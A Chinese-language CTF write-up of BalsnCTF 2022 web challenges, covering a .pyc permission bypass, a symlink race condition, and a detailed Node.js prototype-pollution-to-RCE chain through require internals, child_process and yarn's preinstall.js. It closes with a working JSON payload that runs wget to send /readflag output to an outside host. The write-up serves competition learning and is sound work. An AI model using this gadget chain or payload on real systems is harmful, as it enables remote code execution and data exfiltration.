BalsnCTF2022 web wp
在天哥的带领下简单的看了一下题,然后天哥ak了web,tqltql,我太弱了
my first app
nextjs写的站,我是js垃圾,我看这个玩意以为是后端框架,然后找了半天没找到交互的点,完全不知道怎么打,结果天哥和我说这个玩意是前端框架,定义的变量也都打包到前端里去了,直接f12就能找到。。。。
学习了
Health Check1
扫目录扫到后台,可以传一个100k以内的文件上去执行,直接弹一个shell回来看源码,第一个flag在flag1.py里面,flag1.py是被import了的,所以会生成pyc,虽然flag1被改成了不可读,但是pyc默认可读,直接读pyc就能拿到flag
python生成pyc的逻辑就是当一个文件被作为模块import的时候,会认为其会被重用,就会生成pyc
Health Check2
和1共一个环境,上去看了源码可以知道是对你传的压缩包解压缩,然后执行里面的可执行文件,如果里面有一个docker-entry文件,就把当前目录挂载到docker里面然后以一个中等权限用户进去执行docker-entry,否则就是以nobody启动里面的文件,也就是1里面弹的shell,flag2的权限比较高,nobody读不了,docker那个操作魔幻的一比,让人看不懂,但是看了半天感觉逃逸不出来。
然后还提供了一个读status.json的功能,但是在读之前会resolve一下这个文件是不是在当前目录下(就是防软链接)
然后直接条件竞争就行了。。。当前目录任何用户可写,传一个文件直接反复删写status.json在普通文件和指向flag的软链接间横跳就行,加上是服务去读这个文件返回,权限也足够。竞争一波就能拿到flag
2linenodejs
这个题挺究极的。。。居然也能出13个队,太牛逼了,或者说我太垃圾了
主要代码就这点
process.stdin.setEncoding('utf-8');
process.stdin.on('readable', () => {
try{
console.log('HTTP/1.1 200 OK\nContent-Type: text/html\nConnection: Close\n');
const json = process.stdin.read().match(/\?(.*?)\ /)?.[1],
obj = JSON.parse(json);
console.log(`JSON: ${json}, Object:`, require('./index')(obj, {}));
}catch{
require('./usage')
}finally{
process.exit();
}
});
index的功能就是把解析的obj进行一个值合并操作,原型链污染的功能。服务是用socat启动的,所以直接从stdin获取数据。并且每次访问启动一个新进程,也不怕污染坏了环境
显然应该是原型链污染然后可以在require处进行些什么操作,所以第一步是想办法在污染之后能报错进catch。。。。太垃圾了按了半天没按出来一个报错,这里有两个办法
一个是对{}.__proto__.__proto__
赋值,赋值为对象和数组都会报错,但是赋值为字符串和数字就不会。。。玄学,理论上来说{}.__proto__
应该是那个最顶级的所谓Object
的东西,它已经是原型链的顶端了,再proto访问到的是null
另一个是另外声明一个变量,令其值为null,"a":null
,因为这里会对每个属性进行遍历,null是不能被遍历的,就会爆炸
接下来,就要看require处的原型链污染能做到什么程度了
nodejs原型链污染
需要跟一下究极底层,可以直接用webstorm调,但是每次调完之后第二次调试就会报一个极其玄幻的错误Illegal char :> at index 4: node:internal/modules/cjs/loader
,需要重启webstorm才能重新调。不知道怎么回事捏
另一个是天哥教的方法,直接node --inspect ./server.js
启动,然后到Chrome里面去访问chrome://inspect/
,可以连接到node的调试端口进行调试,就是Chrome的那个console界面调试,说实话用起来不太习惯。。。
总之跟一下require底层一点的实现,可以很容易的找到解析文件名的调用栈
require()->Module.require()->Module._load()->Module._resolveFilename()
这里有两个地方返回解析出来的文件名
const parentPath = trySelfParentPath(parent);
const selfResolved = trySelf(parentPath, request);
if (selfResolved) {
const cacheKey = request + '\x00' +
(paths.length === 1 ? paths[0] : ArrayPrototypeJoin(paths, '\x00'));
Module._pathCache[cacheKey] = selfResolved;
return selfResolved;
}
// Look up the filename first, since that's the cache key.
const filename = Module._findPath(request, paths, isMain, false);
if (filename) return filename;
进入trySelf,发现可以原型链污染的点,出现了一个空对象(我当时真的没有注意到。。。。以前污染都是考虑对象是不是访问了奇怪的属性,没有意识到空对象就是完美的污染对象。。。太弱了)
const { data: pkg, path: pkgPath } = readPackageScope(parentPath) || {};
readPackageScope会从底往上依次搜索package.json,并尝试从package.json中解析出包对应的文件,当找不到时返回false,而当前环境下刚好没有package.json,因此,就能够将其赋值为空对象,进而控制pkg和pkgPath的值
简单跟一下可以看到,pkg里面有两个需要用到的变量,一个是name,这个必须和require加载的那个文件一致或者打头,不然直接挂,另一个是exports,这个不太看得懂。。。但是可以在packageExportsResolve
中看到一个const target = exports[packageSubpath];
,target应该就是实际要被加载的文件,而packageSubpath
在之前被赋值为.
,所以令exports为一个{".":"file"}
的对象,在该函数中调用了isConditionalExportsMainSugar
let exports = packageConfig.exports;
if (isConditionalExportsMainSugar(exports, packageJSONUrl, base))
exports = { '.': exports };
也可以将exports变为如下对象,该方法在exports是一个数组是返回true
所以任意文件加载的payload大致如下
a.__proto__.data = {"name": "./usage", "exports":["./target.js"]}
a.__proto__.path = "target file path"
接下来就要找一个加载后可以rce的文件了
接下来是一些前置知识
node环境变量可控rce
node在启动时可以接受一个名为NODE_OPTIONS的环境变量,其中有一个--require
选项,可以指定require指定的文件,不需要js后缀,可以做到任意文件包含
而进程的环境变量可以在/proc/self/environ
中获取,在node启动时添加两个环境变量,分别为aaa=<code here>//
和NODE_OPTIONS=--require /proc/self/environ
即可实现rce,第一个环境变量末尾用注释把剩下的环境变量内容注释掉
原型链污染+child_process调用到RCE
天哥说这个是被玩烂的老把戏,但是我真的是头一次听说。。。。
在child_process中,我们可以提供新拉起的process的环境变量和执行的文件,如果可以指定执行的文件是node,并且在env中添加如上--require /proc/self/environ
等变量,即可做到任意命令执行,所以,原型链污染需要注意的点即为执行的文件和执行的环境变量
child_process提供了七个对外的函数进行命令执行,分别是exec, execFile, execFileSync, execSync, fork, spawn, spawnSync
fork调spawn,exec调用execFile调用spawn
execFileSync调用spawnSync,execSync也调spawnSync
最终都是归到spawn(Sync)上,而spawn(Sync)分别调用内部实现,而在spawn(Sync)的开头中调用了normalizeSpawnArguments,对传入的options进行处理,其中有这么一段
if (options.shell) {
const command = ArrayPrototypeJoin([file, ...args], ' ');
// Set the shell, switches, and commands.
if (process.platform === 'win32') {
if (typeof options.shell === 'string')
file = options.shell;
else
file = process.env.comspec || 'cmd.exe';
// '/d /s /c' is used only for cmd.exe.
if (RegExpPrototypeTest(/^(?:.*\\)?cmd(?:\.exe)?$/i, file)) {
args = ['/d', '/s', '/c', `"${command}"`];
windowsVerbatimArguments = true;
} else {
args = ['-c', command];
}
} else {
if (typeof options.shell === 'string')
file = options.shell;
else if (process.platform === 'android')
file = '/system/bin/sh';
else
file = '/bin/sh';
args = ['-c', command];
}
}
file即为最终执行的文件,可以看到,当options.shell存在时,会直接将执行的文件变为options.shell,然后原本的command则变成了-c后的参数,而options需要主动传入,默认不存在,会被初始化成空对象,可供原型链污染,或者传入了options但shell属性不存在,也可以进行污染,控制实际执行的文件(但不能控制参数,所以还是只能走node+环境变量rce)
简单测下来,除了exec和execFile以外,剩下几个函数都能打
虽然fork中指定了execPath,并令shell为false,但该execPath从options中取,仍然可控
execSync和execFileSync没有操作options,可以控制
execFile比较无情,居然手动初始化了options
options = {
encoding: 'utf8',
timeout: 0,
maxBuffer: MAX_BUFFER,
killSignal: 'SIGTERM',
cwd: null,
env: null,
shell: false,
...options
};
虽然最后的...options
能覆盖之前的内容,但原型链污染只有在找不到值时向上找,options被污染了也只是个空对象,污染的值不能进行覆盖,打不了
exec调用的是execFile,但是先来了个normalizeExecArgs,这个里面又给options.shell赋值上去了,这样子就又可以把之前的shell覆盖回去,能够执行任意一个文件,但是参数又不能控制,由于env覆盖不了,执行node也没法做到包含js文件
寻找可利用文件
给了dockerfile,是node:18.8.0-alpine3.16
,直接进去找.js文件,发现里面是有npm和yarn的(虽然yarn只有几个文件),然后直接在里面搜child_process,看看有没有文件直接调用了child_process的方法,可以找到一个/opt/yarn-v1.22.19/preinstall.js
在环境变量中有npm_config_global
的时候会调用child_process的execFileSync方法,没传options,可以控制,环境变量默认也没有这个变量,均可污染
if (process.env.npm_config_global) {
var cp = require('child_process');
var fs = require('fs');
var path = require('path');
try {
var targetPath = cp.execFileSync(process.execPath, [process.env.npm_execpath, 'bin', '-g'], {
encoding: 'utf8',
stdio: ['ignore', undefined, 'ignore'],
}).replace(/\n/g, '');
当然,不控制启动文件,这里process.execPath就是node,并且还有一个node的命令行参数process.env.npm_execpath
可控,而node命令行参数中有一个eval选项,也是直接执行命令
因此,构造出如下payload
{
"__proto__": {
"env": {
"payload": "require('child_process').execSync('wget${IFS}http://www.z3ratu1.cn:10001/`/readflag`')//",
"NODE_OPTIONS": "--require=/proc/self/environ"
},
"shell": "/usr/local/bin/node",
"data": {"name": "./usage", "exports": ["./preinstall.js"]},
"path": "/opt/yarn-v1.22.19/",
"npm_config_global": 1
}, "x": null
}
正则匹配把禁用了空格,所以命令中的空格用${IFS}替代,require用=进行连接,成功收到flag(alpine是自带wget和nc的)
参考文献
另一个做法可以参考这篇
2linenodejs
关于child_process的那个理由,就找到一个hpdog师傅写的
从Kibana-RCE对nodejs子进程创建的思考
这里他提到只有fork能用,其实不对,只有execFile和exec不行,因为初始化了options的shell或者env属性,但是按照hpdog的调试方法,其他的console.log也没反应,可能是输出流啥的没处理好吧,改成写文件是可以发现能够成功的